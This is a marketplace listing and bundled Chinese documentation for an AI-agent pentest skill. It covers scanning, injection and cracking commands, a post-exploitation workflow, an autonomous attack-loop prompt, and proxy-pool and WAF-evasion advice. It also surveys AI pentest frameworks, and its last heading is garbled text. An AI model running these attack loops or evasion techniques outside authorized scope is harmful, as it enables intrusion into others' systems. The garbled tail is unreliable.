
Pentest Tools
- 179 installs
- 18.1k repo stars
- Updated August 4, 2026
- zhaoxuya520/reverse-skill
Organize and prioritize custom pentest payloads so your agent tries proven SQLi, XSS, SSRF, and auth-bypass tests before generic SecLists dictionaries.
About
Pentest Tools is an agent skill for solo builders and small teams who run authorized security testing on their own apps or lab targets. It defines how to maintain a personal payload library—organized by attack class—and instructs the agent to prefer those proven strings before falling back to SecLists subsets, with automatic SecLists bootstrap when empty. The README also catalogs modern LLM-driven pentest agents and MCP security stacks you can pair with the skill for recon through verification. It does not replace formal penetration tests or legal scope paperwork; it standardizes repeatable, agent-guided testing hygiene during Ship. Expect advanced familiarity with web vulnerabilities and explicit permission to test each environment.
- Custom payload directory layout for SQLi, XSS, SSRF, LFI/RFI, auth bypass, and command injection
- Agent rule: try local payloads first, then SecLists; bootstrap downloads SecLists if missing
- Feedback loop to write newly effective payloads back into categorized files
- References external AI pentest frameworks (PentestGPT, pentest-ai MCP, PentestAgent) as supplementary sources
- Descriptive filenames required—no generic test.txt clutter
Pentest Tools by the numbers
- 179 all-time installs (skills.sh)
- +32 installs in the week ending Jul 28, 2026 (Skillselion tracking)
- Ranked #817 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/zhaoxuya520/reverse-skill --skill pentest-toolsAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 179 |
|---|---|
| repo stars | ★ 18.1k |
| Last updated | August 4, 2026 |
| Repository | zhaoxuya520/reverse-skill ↗ |
What it does
Organize and prioritize custom pentest payloads so your agent tries proven SQLi, XSS, SSRF, and auth-bypass tests before generic SecLists dictionaries.
Files
渗透测试工具链 (Pentest Tools)
适用范围
当任务属于以下场景时使用本 skill:
- 目标信息收集(端口扫描、子域名枚举、服务识别)
- 漏洞扫描(Web 漏洞、CVE 检测、配置错误)
- Web 渗透(SQL 注入、XSS、SSRF、目录爆破)
- 密码破解(哈希破解、字典攻击)
- 网络渗透(服务利用、横向移动辅助)
与其他 skill 的分工
| 场景 | 用什么 |
|---|---|
| 主动扫描/攻击(Nmap/Nuclei/SQLMap) | 本 skill |
| 逆向分析二进制 | ida-reverse/ 或 radare2/ |
| 前端 JS 签名逆向 | js-reverse/ |
| 浏览器/桌面自动化操作 | browser-automation/ |
| CTF 竞赛(综合) | CTF-Sandbox-Orchestrator/ |
简单判断:
- 需要"扫描目标、发现漏洞、利用漏洞" → 本 skill
- 需要"分析程序内部逻辑" → 逆向类 skill
- 需要"操作浏览器/桌面" → browser-automation
---
工具矩阵
信息收集
| 工具 | 用途 | 典型命令 |
|---|---|---|
| Nmap | 端口扫描、服务识别、OS 检测 | nmap -sV -sC -O target |
| Masscan | 大规模快速端口扫描 | masscan -p1-65535 target --rate=1000 |
| Subfinder | 子域名枚举 | subfinder -d target.com |
| httpx | HTTP 探测、存活检测 | httpx -l urls.txt -status-code |
漏洞扫描
| 工具 | 用途 | 典型命令 |
|---|---|---|
| Nuclei | 模板化漏洞扫描(CVE/配置/暴露) | nuclei -u target -t cves/ |
| ZAP | Web 应用安全扫描 | 通过 API 或 MCP 调用 |
| Nikto | Web 服务器漏洞扫描 | nikto -h target |
Web 渗透
| 工具 | 用途 | 典型命令 |
|---|---|---|
| SQLMap | SQL 注入自动化 | sqlmap -u "url?id=1" --batch --dbs |
| FFUF | 目录/参数爆破 | ffuf -u target/FUZZ -w wordlist.txt |
| Gobuster | 目录/子域名爆破 | gobuster dir -u target -w wordlist |
| XSStrike | XSS 检测 | xsstrike -u "url?param=test" |
密码破解
| 工具 | 用途 | 典型命令 |
|---|---|---|
| Hashcat | GPU 哈希破解 | hashcat -m 0 hash.txt wordlist.txt |
| John the Ripper | CPU 哈希破解 | john --wordlist=rockyou.txt hash.txt |
| Hydra | 在线暴力破解 | hydra -l admin -P pass.txt target ssh |
利用框架
| 工具 | 用途 | 说明 |
|---|---|---|
| Metasploit | 漏洞利用框架 | 需要单独安装,体量大 |
| Impacket | Windows 协议利用(SMB/WMI/Kerberos) | pip install impacket |
---
MCP 后端选择
本 skill 支持两种 MCP 后端,选一个即可:
方案 A:pentestMCP(推荐,Docker 一键)
- 项目:https://github.com/ramkansal/pentestmcp
- 特点:20+ 工具打包成单个 Docker 容器,MCP server 直接暴露
- 工具:Nmap、Nuclei、ZAP、SQLMap、FFUF、Nikto、Gobuster、Subfinder、httpx 等
- 安装:
# 拉取并运行
docker pull ramkansal/pentestmcp
docker run -d -p 8080:8080 ramkansal/pentestmcp
# 或本地构建
git clone https://github.com/ramkansal/pentestmcp.git
cd pentestmcp
docker build -t pentestmcp .
docker run -d -p 8080:8080 pentestmcp- MCP 注册:
{
"mcpServers": {
"pentest": {
"url": "http://localhost:8080/mcp"
}
}
}方案 B:mcp-security-hub(模块化)
- 项目:https://github.com/FuzzingLabs/mcp-security-hub
- 特点:每个工具独立 MCP server,按需启用
- 工具:Nmap、Ghidra、Nuclei、SQLMap、Hashcat
- 安装:按各子模块 README 操作
方案 C:单工具 MCP(最轻量)
如果只需要某一个工具:
| 工具 | MCP 项目 | 安装 |
|---|---|---|
| Nmap | nmap-mcp-server | npm |
| Nuclei | nuclei-mcp | npm |
| SQLMap | mcp-security-hub 子模块 | pip |
---
工作流
标准渗透流程
重要:执行渗透测试时,必须按 references/pentest-loop.md 的自主循环框架运行。该框架定义了完整的风险门控、记录规范、上下文压缩和完成检查机制。
1. 信息收集
- Nmap 端口扫描 → 确认开放服务
- Subfinder 子域名枚举 → 扩大攻击面
- httpx 存活检测 → 过滤有效目标
2. 漏洞扫描
- Nuclei 模板扫描 → 快速发现已知漏洞
- ZAP/Nikto → Web 应用深度扫描
3. 漏洞利用
- SQLMap → SQL 注入
- FFUF → 发现隐藏路径/参数
- 手动验证 → 确认可利用性
4. 后渗透(如果授权范围内)
- 权限提升
- 横向移动
- 数据提取
5. 报告
- 调用 docs-generator skill 生成渗透测试报告快速扫描流程(5 分钟出结果)
1. nmap -sV -sC target → 端口+服务
2. nuclei -u target -severity critical,high → 高危漏洞
3. 有 Web 服务 → ffuf -u target/FUZZ -w common.txt → 目录
4. 汇总发现 → 决定下一步---
注意事项
- 必须有授权 — 所有扫描/攻击操作必须在授权范围内
- 控制扫描速率 — 避免触发 WAF/IDS 或打崩目标
- 先被动后主动 — 先信息收集,再漏洞扫描,最后利用
- 记录所有操作 — 每个命令和结果都要记录,用于报告
- 不要盲目自动化 — AI 应该在每个关键步骤等待确认
---
按需自举(On-Demand Bootstrap)
自动化能力边界
| 工具 | 可自动安装 | 安装方式 | 说明 |
|---|---|---|---|
| Nmap | ✓ | winget (Insecure.Nmap) | Windows 版 |
| Nuclei | ✓ | go install 或 GitHub Release | 需要 Go 或直接下载二进制 |
| SQLMap | ✓ | pip install sqlmap 或 git clone | Python |
| FFUF | ✓ | GitHub Release | Go 二进制 |
| SecLists | ✓ | GitHub Release ZIP | 字典大全(FFUF/Gobuster 必备) |
| Hashcat | ✗ | 手动下载 | 需要 GPU 驱动 |
| Metasploit | ✗ | 手动安装 | 体量大,建议用 Kali |
| pentestMCP (Docker) | ✗ | 需要 Docker | docker run ramkansal/pentestmcp |
| Impacket | ✓ | pip install impacket | Python |
| ProxyCat | ✓ | pip install proxycat | 代理池中间件(批量扫描防封) |
| BurpSuite MCP | ✗ | BurpSuite 扩展市场安装 | 需要 BurpSuite Pro/Community |
自举策略
1. 如果用户有 Docker → 推荐 pentestMCP(一键全家桶) 2. 如果没有 Docker → 按需单独安装各工具 3. 优先安装 Nmap + Nuclei + SQLMap(覆盖 80% 场景)
手动安装引导
⚠️ **渗透工具未安装**
**推荐方案(需要 Docker)**:
docker pull ramkansal/pentestmcp
docker run -d -p 8080:8080 ramkansal/pentestmcp
**轻量方案(逐个安装)**:
- Nmap: winget install Insecure.Nmap
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
- SQLMap: pip install sqlmap
- FFUF: 从 https://github.com/ffuf/ffuf/releases 下载
**安装后告诉我,我继续当前任务。**---
参考资源
- awesome-pentest — 25k+ stars 渗透工具大全
- SecLists — 字典/payload 集合(FFUF/Gobuster 必备)
- PayloadsAllTheThings — 各类漏洞 payload
- HackTricks — 渗透技巧百科
- pentest-ai-agents — 35 个 Claude Code 渗透子 agent(参考其 prompt 模式)
- ProxyCat — 代理池中间件(批量扫描防封 IP)
- planning-with-files — 计划任务 skill(循环测试用)
本 skill 内参考文档
references/pentest-loop.md— 核心循环框架(风险门控 + 记录规范 + 上下文压缩)references/burpsuite-mcp-guide.md— BurpSuite MCP 完整指南(63 工具 + 7 大使用场景 + AI Prompt 模板)references/automation-loop-pattern.md— 自动化循环测试模式(轻量版)references/awesome-pentest-digest.md— 渗透工具精华速查references/pentest-ai-agents-matrix.md— 35 agent 覆盖矩阵payloads/— 自定义 payload 目录(AI 优先使用)templates/— 渗透测试必需文件模板(scope/rules/plan/findings/progress)
src-hunter 漏洞挖掘知识库
src-hunter/ 目录包含完整的 SRC/Bug Bounty 漏洞挖掘方法论:
- 19 类攻击 playbook(IDOR、RCE、XSS、SQLi、SSRF、OAuth、文件上传等)
- 305 个结构化 payload + 263 个 WAF/EDR 绕过步骤
- 2887 份 HackerOne 已披露 High/Critical 报告
- 88,636 条 WooYun 历史案例统计
- 国产组件指纹和默认凭据
- CVSS 4.0 报告模板
使用方式:AI 在 hunt 阶段自动读取对应 playbook,按其流程测试。
详见 src-hunter/SKILL.md 和 src-hunter/references/。
---
路由上下文
上游入口: skills/SKILL.md(总控)、routing.md 触发条件: 需要主动扫描/攻击目标(端口扫描、漏洞检测、注入测试等) 下游出口:
- 发现 Web 漏洞需要进一步分析 →
js-reverse/ - 发现二进制漏洞需要逆向 →
ida-reverse/或radare2/ - 需要操作浏览器验证漏洞 →
browser-automation/ - 完成后生成报告 →
docs-generator/
同级关联模块: CTF-Sandbox-Orchestrator/(CTF 中的 Web/Pwn 题会用到这些工具)
自定义 Payload 目录
本目录用于存放你自己积累的高效 payload。AI 在执行渗透测试时会优先使用这里的 payload,再去尝试通用 payload。
建议的文件组织
payloads/
├── sql-injection/ # SQL 注入 payload
│ ├── mysql-union.txt
│ ├── mssql-stacked.txt
│ └── blind-time.txt
├── xss/ # XSS payload
│ ├── reflected.txt
│ └── dom-based.txt
├── ssrf/ # SSRF payload
├── lfi-rfi/ # 文件包含
├── auth-bypass/ # 认证绕过
├── command-injection/ # 命令注入
└── custom/ # 其他自定义使用规则
- AI 测试时先用本目录的 payload,再用 SecLists 通用字典
- 每次发现新的有效 payload,回写到对应目录
- 文件名要有描述性,不要用
1.txt、test.txt
自动补充
如果本目录为空,AI 会自动从 SecLists 中提取常用 payload 子集放入。 如果 SecLists 未安装,bootstrap 会自动下载。
AI 辅助渗透测试 Agent 资源
2025 年活跃的 AI 渗透测试框架和 MCP 安全工具汇总。
可作为本包 pentest-tools skill 的补充能力来源。
---
AI 渗透 Agent 框架
| 项目 | 特点 | 链接 |
|---|---|---|
| PentestGPT | LLM 驱动的自动化渗透框架,支持交互式推理 | https://github.com/GreyDGL/PentestGPT |
| pentest-ai (0xSteph) | MCP server + Python agents,197+ 安全工具,exploit 链接,PoC 验证 | https://github.com/0xSteph/pentest-ai |
| PentestAgent (GH05TCREW) | AI agent + MCP 架构,集成 Nmap/Metasploit/FFUF/SQLMap,支持 RAG 本地知识库 | https://github.com/GH05TCREW/PentestAgent |
| BlacksmithAI | 开源多 Agent 渗透框架,覆盖侦察到后渗透全生命周期 | https://github.com/yohannesgk/blacksmith |
| PentAGI | 全自主 AI Agent 系统,执行复杂渗透任务 | https://github.com/vxcontrol/pentagi |
| AI-OPS | 基于开源 LLM 的渗透测试 AI 助手 | https://github.com/antoninoLorenzo/AI-OPS |
| Auto-Pentest-GPT | LLM 驱动的软件渗透测试 | https://github.com/Armur-Ai/Auto-Pentest-GPT-AI |
| CAI (Cybersecurity AI) | AI 安全框架 | https://github.com/aliasrobotics/cai |
与本包的集成方式
这些框架大多支持 MCP 或 HTTP API,可以作为本包 pentest-tools skill 的增强后端:
{
"mcpServers": {
"pentest-ai": {
"url": "http://localhost:8080/mcp"
}
}
}---
逆向工程 MCP Server
| 项目 | 工具数 | 特点 | 链接 |
|---|---|---|---|
| ida-pro-mcp | 72 | IDA Pro 全功能 MCP(本包已集成) | https://github.com/mrexodia/ida-pro-mcp |
| GhidraMCP | 110+ | Ghidra 免费逆向 MCP,近 200 个工具 | https://github.com/LaurieWired/GhidraMCP |
| GhidrAssistMCP | — | Ghidra + LLM 辅助分析 | GitHub 搜索 GhidrAssistMCP |
| Revula | — | 通用逆向工程 MCP server | https://mcpservers.org/servers/president-xd/revula |
GhidraMCP 集成建议
GhidraMCP 提供免费的 IDA 替代方案,适合没有 IDA 许可证的用户:
安装:
1. 下载 Ghidra: https://ghidra-sre.org/
2. 下载 GhidraMCP 插件: https://github.com/LaurieWired/GhidraMCP/releases
3. Ghidra → File → Install Extensions → 选择 zip
4. 重启 Ghidra → 打开项目 → MCP server 自动监听 localhost:8765
MCP 注册:
{
"mcpServers": {
"ghidra": {
"url": "http://localhost:8765/mcp"
}
}
}---
红队工具资源库
| 项目 | Stars | 覆盖 | 链接 |
|---|---|---|---|
| RedTeam-Tools (A-poc) | 8k+ | 红队工具与技术大全 | https://github.com/A-poc/RedTeam-Tools |
| Awesome-Red-Teaming | 7k+ | 红队资源列表 | https://github.com/yeyintminthuhtut/Awesome-Red-Teaming |
| Awesome-OSINT | — | OSINT 工具(信息收集/反向搜索/Bug Bounty) | https://github.com/Astrosp/Awesome-OSINT-For-Everything |
| Awesome-AI-Red-Teaming | — | AI 红队资源(Prompt 注入/模型攻击) | https://github.com/shlomihod/awesome-ai-red-teaming |
---
Frida 脚本资源库
| 项目 | 特点 | 链接 |
|---|---|---|
| awesome-frida | 3k+ stars,Frida 资源大全 | https://github.com/dweinstein/awesome-frida |
| Frida-Mobile-Scripts | 移动端 Frida 脚本集合(SSL/Root/Hook) | https://github.com/m0bilesecurity/Frida-Mobile-Scripts |
| FriList | 实用 Frida 脚本集合 | https://github.com/rsenet/FriList |
| frida-codeshare-scripts | 全网最全 Frida 脚本收集(中文) | https://github.com/zengfr/frida-codeshare-scripts |
| FridaScripts (apkunpacker) | APK 脱壳/Hook 脚本 | https://github.com/apkunpacker/FridaScripts |
| Awesmoe-Frida-Scripts | MAPT(移动应用渗透测试)Frida 脚本 | https://github.com/TheBountyBox/Awesmoe-Frida-Scripts |
| 0xdea/frida-scripts | 移动应用逆向 Frida 脚本 | https://github.com/0xdea/frida-scripts |
---
方法论与知识库
| 资源 | 说明 | 链接 |
|---|---|---|
| HackTricks | 渗透技巧百科(Web/Network/AD/Cloud/Mobile) | https://hacktricks.wiki/ |
| HackTricks Cloud | 云渗透方法论(AWS/GCP/Azure/CI-CD) | https://cloud.hacktricks.xyz/ |
| OWASP MASTG | 移动应用安全测试指南(官方) | https://mas.owasp.org/ |
| OWASP Mobile Top 10 (2024) | 移动应用十大风险 | https://owasp.org/www-project-mobile-top-10/ |
| PayloadsAllTheThings | 各类漏洞 Payload 大全 | https://github.com/swisskyrepo/PayloadsAllTheThings |
| MITRE ATT&CK | 攻击技术知识库 | https://attack.mitre.org/ |
| GTFOBins | Unix 提权二进制 | https://gtfobins.github.io/ |
| LOLBAS | Windows 提权二进制 | https://lolbas-project.github.io/ |
| WADComs | Windows/AD 命令速查 | https://wadcoms.github.io/ |
---
MCP 安全生态
| 类别 | 项目 | 说明 |
|---|---|---|
| 渗透全家桶 | pentestMCP | Docker 一键 20+ 工具 |
| 单工具 MCP | nmap-mcp-server | Nmap MCP |
| 单工具 MCP | nuclei-mcp | Nuclei MCP |
| 逆向 | ida-pro-mcp | IDA Pro MCP(本包已集成) |
| 逆向 | GhidraMCP | Ghidra MCP(免费替代) |
| 浏览器 | anything-analyzer | 浏览器+HTTP 捕获(本包已集成) |
| JS Hook | jshookmcp | CDP/Hook/Network(本包已集成) |
| Web 代理 | BurpSuite MCP | BurpSuite 扩展 |
| 安全扫描 | mcp-security-hub | 模块化安全 MCP |
---
学习路径建议
入门(1-2 周)
1. 读 HackTricks 的 Pentesting Methodology 章节 2. 在 HackTheBox/TryHackMe 做 5 个 Easy 靶机 3. 熟悉 Nmap + Nuclei + FFUF 基础用法 4. 用本包的 pentest-tools skill 辅助
进阶(1-2 月)
1. 学习 OWASP Top 10 每个漏洞的原理和利用 2. 做 10 个 Medium 靶机 3. 学习内网渗透基础(Impacket/BloodHound) 4. 开始参与 Bug Bounty(从 VDP 开始)
高级(持续)
1. 红队全链路(初始访问→提权→横向→持久化→数据外带) 2. AD 域渗透深入 3. 云安全(AWS/Azure/GCP) 4. AI 辅助渗透(用本包 + AI Agent 框架) 5. 开发自己的工具和 MCP server
AI 渗透测试工具全景(2026 年)
来源:多篇行业分析文章(2026 年 1-5 月)
适用场景:选择 AI 渗透工具时的参考、了解行业趋势
行业现状(2026)
AI 自主渗透测试在 2026 年已跨过关键门槛。根据多篇行业报告的共识:
- AI agent 现在可以在 15 分钟内攻破 Active Directory 环境
- 在 Bug Bounty 排行榜上已超越部分人类黑客
- 国家级攻击者(中国、朝鲜、俄罗斯、伊朗)已将 AI 嵌入攻击工作流
- 9000+ Nuclei 模板由 100,000+ 安全工程师社区维护
开源 AI 渗透工具对比
| 工具 | 架构 | 执行能力 | 状态管理 | 工具集成 | MCP | 真正自主 |
|---|---|---|---|---|---|---|
| Pentest Swarm AI | Stigmergic blackboard | 执行 | pgvector + pheromones | 8 ProjectDiscovery + nmap | ✓ | ✓ 真 swarm |
| PentestGPT | 单 agent ReAct | 建议 | 无 | 无原生 | ✗ | ✗ |
| HackingBuddyGPT | 单 agent | 执行 | 运行日志 | Shell 透传 | ✗ | ✗ |
| PentAGI | 4 agent + planner | 执行 | pgvector | 40+ via MCP/shell | 部分 | Pipeline |
| Shannon | 白盒 + 浏览器 | 执行 | Session state | Browser DOM | ✗ | Pipeline |
| HexStrike AI | MCP 工具包装 | 委托给客户端 LLM | 无(无状态) | 150+ via MCP | ✓ | ✗ |
| CAI | 网络安全 AI 框架 | 执行 | — | — | — | 声称 3600x 快于人类 |
| BlacksmithAI | 多 agent | 执行 | — | — | — | — |
内容基于搜索结果整理,标注置信度:中高。各工具快速迭代中,建议定期验证。
商业 AI 渗透工具(参考)
根据 2026 年多篇行业对比文章,商业领域的主要玩家:
| 工具 | 定位 | 特点 |
|---|---|---|
| Pentera | 自动化渗透验证 | 企业级,模拟真实攻击路径 |
| XBOW | 自主 Bug Bounty | AI agent 自动挖洞提交 |
| Escape | API 安全测试 | 专注 API/GraphQL |
| Hadrian | 攻击面管理 | 持续监控 + 自动验证 |
| Intruder | 漏洞扫描 | 简单易用,适合中小团队 |
| Mindfort | AI 红队 | 自主攻击链构建 |
与本包的关系
本包(Cybersecurity Skills Router)的定位是知识路由层,不是执行引擎。它解决的是:
1. AI 怎么知道该用什么方法论 → routing.md 2. AI 怎么知道本机有什么工具 → tool-index.md 3. AI 怎么避免重复踩坑 → field-journal/ 4. AI 怎么调用执行引擎 → MCP 配置 + bootstrap
上面列出的工具(特别是 Pentest Swarm AI、HexStrike AI、mcp-kali-server)都可以作为本包的执行后端,通过 MCP 接入。
推荐组合
本包(路由 + 方法论 + 经验)
↓ 路由到渗透测试
pentest-tools/SKILL.md
↓ 选择执行方式
├── 手动:AI 通过 mcp-kali-server 逐步调用 nmap/sqlmap/...
├── 半自动:AI 通过 metasploitmcp 管理 exploit session
├── 全自动(单目标):hexstrike-ai 编排 150+ 工具
└── 全自动(大规模):pentestswarm --swarm 群体渗透趋势观察
1. MCP 成为标准 — 几乎所有新工具都支持 MCP 协议 2. Swarm > Pipeline — 群体智能架构开始取代固定流水线 3. 本地化 — Ollama/LM Studio 让完全离线渗透成为可能 4. Kali 官方拥抱 AI — 官方博客系列 + 官方收录 MCP 工具 5. Nuclei 模板 + AI — AI 自动生成/优化 Nuclei 模板成为新方向
自动化循环测试模式
参考自实战经验:用 AI agent 循环驱动渗透测试,实现半自动化 SRC 漏洞挖掘。
---
核心思路
让 AI 不断问自己三个问题,形成循环:
1. 这个漏洞是否是高危漏洞?
2. 这个漏洞是否利用成功?
3. 这个目标是否还存在其他漏洞?只要第 3 个问题的答案是"可能",循环就继续。
---
循环架构
┌─────────────────────────────────────────┐
│ 初始化:确定目标、范围、工具链 │
└─────────────────┬───────────────────────┘
▼
┌─────────────────────────────────────────┐
│ Step 1: 信息收集(Nmap/子域名/目录) │
└─────────────────┬───────────────────────┘
▼
┌─────────────────────────────────────────┐
│ Step 2: 漏洞检测(Nuclei/SQLMap/手动) │
└─────────────────┬───────────────────────┘
▼
┌─────────────────────────────────────────┐
│ Step 3: 验证利用(PoC/截图/证据) │
└─────────────────┬───────────────────────┘
▼
┌─────────────────────────────────────────┐
│ Step 4: 记录发现 → 判断是否继续 │
│ - 还有未测试的接口?→ 回到 Step 2 │
│ - 还有未测试的子域?→ 回到 Step 1 │
│ - 全部测完?→ 生成报告,结束 │
└─────────────────────────────────────────┘---
实现方式
方式 1:Claude Code /loop 命令
/loop "对目标 https://target.com 进行渗透测试。每轮测试一个接口或功能点。
测试完成后判断:
1. 是否发现漏洞?如果是,记录并继续
2. 是否还有未测试的攻击面?如果是,继续下一轮
3. 如果全部测完,生成报告并停止"方式 2:planning-with-files
使用 planning-with-files skill:
- 创建一个
plan.md文件记录测试计划 - 每完成一步就更新计划状态
- AI 读取计划文件决定下一步
方式 3:自定义循环 prompt
在 RULES.md 或 skill 中写入循环逻辑:
## 自动化测试循环
当进入渗透测试模式时,按以下循环执行:
1. 读取当前测试计划(如果没有则创建)
2. 选择下一个未测试的目标/接口/功能点
3. 执行测试(信息收集 → 漏洞检测 → 验证)
4. 记录结果到测试计划
5. 判断:
- 发现高危漏洞 → 立即通知用户
- 还有未测试项 → 回到步骤 2
- 全部完成 → 生成报告---
关键经验
1. 工具不要太多
"太多的工具不仅会影响模型的判断,还会将大量的时间重复在一个点上"
建议每个测试类型只保留 1-2 个核心工具:
- SQL 注入 → SQLMap(不要再加 FFUF 做注入)
- 目录爆破 → FFUF(不要再加 Gobuster + dirsearch)
- 漏洞扫描 → Nuclei(不要再加 Nikto + OpenVAS)
2. Skill 要写具体场景
不要只写"测试 SQL 注入",要写:
- 遇到 WAF 怎么绕过
- 遇到参数加密怎么处理
- 遇到 JSON body 怎么测试
- 什么时候用时间盲注 vs 联合查询
3. 循环时间会越来越短
实测第 7 轮循环只需要 2 分钟——因为 AI 已经熟悉了目标结构,不需要重复信息收集。
4. 代理池防封
批量测试时必须走代理池,否则 IP 会被封:
所有扫描流量 → ProxyCat 代理池端口 → 目标推荐:ProxyCat — 将静态代理 IP 变成隧道 IP
---
配合 BurpSuite MCP
BurpSuite 有 MCP 扩展(通过扩展市场安装),可以让 AI 直接:
- 查看 Burp 拦截的请求
- 重放修改后的请求
- 读取扫描结果
- 操作 Intruder/Repeater
工作流:
浏览器手动操作 → Burp 拦截流量 → AI 通过 MCP 读取请求 → AI 分析并构造攻击 → 通过 Burp 重放---
与我们系统的集成
在我们的行为链中,循环测试对应步骤 10(执行任务)的内部循环:
8. 如果缺工具 → bootstrap 自动补齐
9. 如果补齐失败 → 引导用户
10. 进入 skill 工作流 → 执行任务
└── 内部循环:测试 → 记录 → 判断 → 继续/停止
11. 任务完成 → 生成报告(含图表)
12. 回写经验每次循环发现的漏洞都应该实时记录,不要等全部完成才记录。
渗透测试工具精华速查
精选自 awesome-pentest(25k+ stars,CC-BY 4.0)
按实战场景分类,只保留最常用和最有效的工具。
---
信息收集
网络侦察
| 工具 | 用途 | 链接 |
|---|---|---|
| Nmap | 端口扫描/服务识别/OS检测 | https://nmap.org/ |
| Masscan | 大规模快速端口扫描 | https://github.com/robertdavidgraham/masscan |
| RustScan | 快速端口扫描+自动 pipe 到 Nmap | https://github.com/rustscan/rustscan |
| Zmap | 全网扫描 | https://zmap.io/ |
子域名/DNS
| 工具 | 用途 | 链接 |
|---|---|---|
| OWASP Amass | 子域名枚举(多源) | https://github.com/OWASP/Amass |
| Subfinder | 被动子域名发现 | https://github.com/projectdiscovery/subfinder |
| dnsrecon | DNS 枚举 | https://github.com/darkoperator/dnsrecon |
| fierce | DNS 侦察 | https://github.com/mschwager/fierce |
OSINT
| 工具 | 用途 | 链接 |
|---|---|---|
| theHarvester | 邮箱/子域名/人名收集 | https://github.com/laramies/theHarvester |
| Recon-ng | OSINT 框架 | https://github.com/lanmaster53/recon-ng |
| SpiderFoot | 多源 OSINT 自动化 | http://www.spiderfoot.net/ |
| Shodan | 联网设备搜索引擎 | https://www.shodan.io/ |
---
漏洞扫描
| 工具 | 用途 | 链接 |
|---|---|---|
| Nuclei | 模板化漏洞扫描 | https://github.com/projectdiscovery/nuclei |
| Nikto | Web 服务器漏洞扫描 | https://github.com/sullo/nikto |
| WPScan | WordPress 漏洞扫描 | https://wpscan.org/ |
| OpenVAS | 综合漏洞评估 | http://www.openvas.org/ |
---
Web 渗透
注入
| 工具 | 用途 | 链接 |
|---|---|---|
| SQLMap | SQL 注入自动化 | http://sqlmap.org/ |
| NoSQLMap | NoSQL 注入 | https://github.com/codingo/NoSQLMap |
| Commix | 命令注入 | https://github.com/commixproject/commix |
| tplmap | 模板注入 | https://github.com/epinna/tplmap |
目录/路径发现
| 工具 | 用途 | 链接 |
|---|---|---|
| FFUF | 快速 fuzzing | https://github.com/ffuf/ffuf |
| Gobuster | 目录/子域名爆破 | https://github.com/OJ/gobuster |
| dirsearch | Web 路径扫描 | https://github.com/maurosoria/dirsearch |
| feroxbuster | 递归目录发现 | https://github.com/epi052/feroxbuster |
代理/拦截
| 工具 | 用途 | 链接 |
|---|---|---|
| Burp Suite | Web 安全测试平台 | https://portswigger.net/burp/ |
| OWASP ZAP | 免费 Web 代理/扫描 | https://www.zaproxy.org/ |
| mitmproxy | 可编程 HTTP 代理 | https://mitmproxy.org/ |
---
密码破解
| 工具 | 用途 | 链接 |
|---|---|---|
| Hashcat | GPU 哈希破解 | http://hashcat.net/hashcat/ |
| John the Ripper | CPU 哈希破解 | http://www.openwall.com/john/ |
| Hydra | 在线暴力破解 | https://github.com/vanhauser-thc/thc-hydra |
| CeWL | 从网站生成字典 | https://digi.ninja/projects/cewl.php |
---
利用框架
| 工具 | 用途 | 链接 |
|---|---|---|
| Metasploit | 漏洞利用框架 | https://www.metasploit.com/ |
| Pwntools | CTF/exploit 开发 | https://github.com/Gallopsled/pwntools |
| Impacket | Windows 协议利用 | https://github.com/CoreSecurity/impacket |
| CrackMapExec | 内网渗透瑞士军刀 | https://github.com/byt3bl33d3r/CrackMapExec |
---
权限提升
| 工具 | 用途 | 链接 |
|---|---|---|
| LinEnum | Linux 提权枚举 | https://github.com/rebootuser/LinEnum |
| LinPEAS/WinPEAS | 自动提权枚举 | https://github.com/carlospolop/PEASS-ng |
| GTFOBins | Unix 提权二进制 | https://gtfobins.github.io/ |
| LOLBAS | Windows 提权二进制 | https://lolbas-project.github.io/ |
| BloodHound | AD 信任关系图 | https://github.com/adaptivethreat/Bloodhound |
| Mimikatz | Windows 凭证提取 | http://blog.gentilkiwi.com/mimikatz |
---
社会工程
| 工具 | 用途 | 链接 |
|---|---|---|
| SET | 社工攻击框架 | https://github.com/trustedsec/social-engineer-toolkit |
| Gophish | 钓鱼平台 | https://getgophish.com |
| Evilginx2 | 2FA 钓鱼 | https://github.com/kgretzky/evilginx2 |
| King Phisher | 钓鱼管理 | https://github.com/securestate/king-phisher |
---
无线网络
| 工具 | 用途 | 链接 |
|---|---|---|
| Aircrack-ng | WiFi 审计套件 | http://www.aircrack-ng.org/ |
| Wifite | 自动化 WiFi 攻击 | https://github.com/derv82/wifite |
| Kismet | 无线嗅探/IDS | https://kismetwireless.net/ |
| Pwnagotchi | AI WiFi 审计 | https://github.com/evilsocket/pwnagotchi |
---
必备字典/Payload
| 资源 | 用途 | 链接 |
|---|---|---|
| SecLists | 字典大全(用户名/密码/目录/payload) | https://github.com/danielmiessler/SecLists |
| PayloadsAllTheThings | 各类漏洞 payload | https://github.com/swisskyrepo/PayloadsAllTheThings |
| FuzzDB | Fuzzing 字典 | https://github.com/fuzzdb-project/fuzzdb |
| RobotsDisallowed | robots.txt 路径集合 | https://github.com/danielmiessler/RobotsDisallowed |
---
漏洞数据库
| 资源 | 链接 |
|---|---|
| Exploit-DB | https://www.exploit-db.com/ |
| CVE (MITRE) | https://cve.mitre.org/ |
| NVD (NIST) | https://nvd.nist.gov/ |
| Packet Storm | https://packetstormsecurity.com/ |
| VulDB | https://vuldb.com |
---
学习资源
| 资源 | 说明 | 链接 |
|---|---|---|
| HackTricks | 渗透技巧百科 | https://book.hacktricks.wiki/ |
| MITRE ATT&CK | 攻击技术知识库 | https://attack.mitre.org/ |
| OWASP | Web 安全标准 | https://www.owasp.org/ |
| CTFTime | CTF 赛事/writeup | https://ctftime.org/ |
| Metasploit Unleashed | 免费 MSF 课程 | https://www.offensive-security.com/metasploit-unleashed/ |
---
靶场练习
| 靶场 | 说明 |
|---|---|
| DVWA | docker pull citizenstig/dvwa |
| OWASP Juice Shop | docker pull bkimminich/juice-shop |
| WebGoat | docker pull webgoat/webgoat-8.0 |
| Pentest-Ground | https://pentest-ground.com/ |
| HackTheBox | https://www.hackthebox.com/ |
| TryHackMe | https://tryhackme.com/ |
BurpSuite MCP 瀹屾暣浣跨敤鎸囧崡
鏉ユ簮锛歅ortSwigger 瀹樻柟鏂囨。 + TrustedSec + InfoSec Write-ups锛?026-05-24锛?
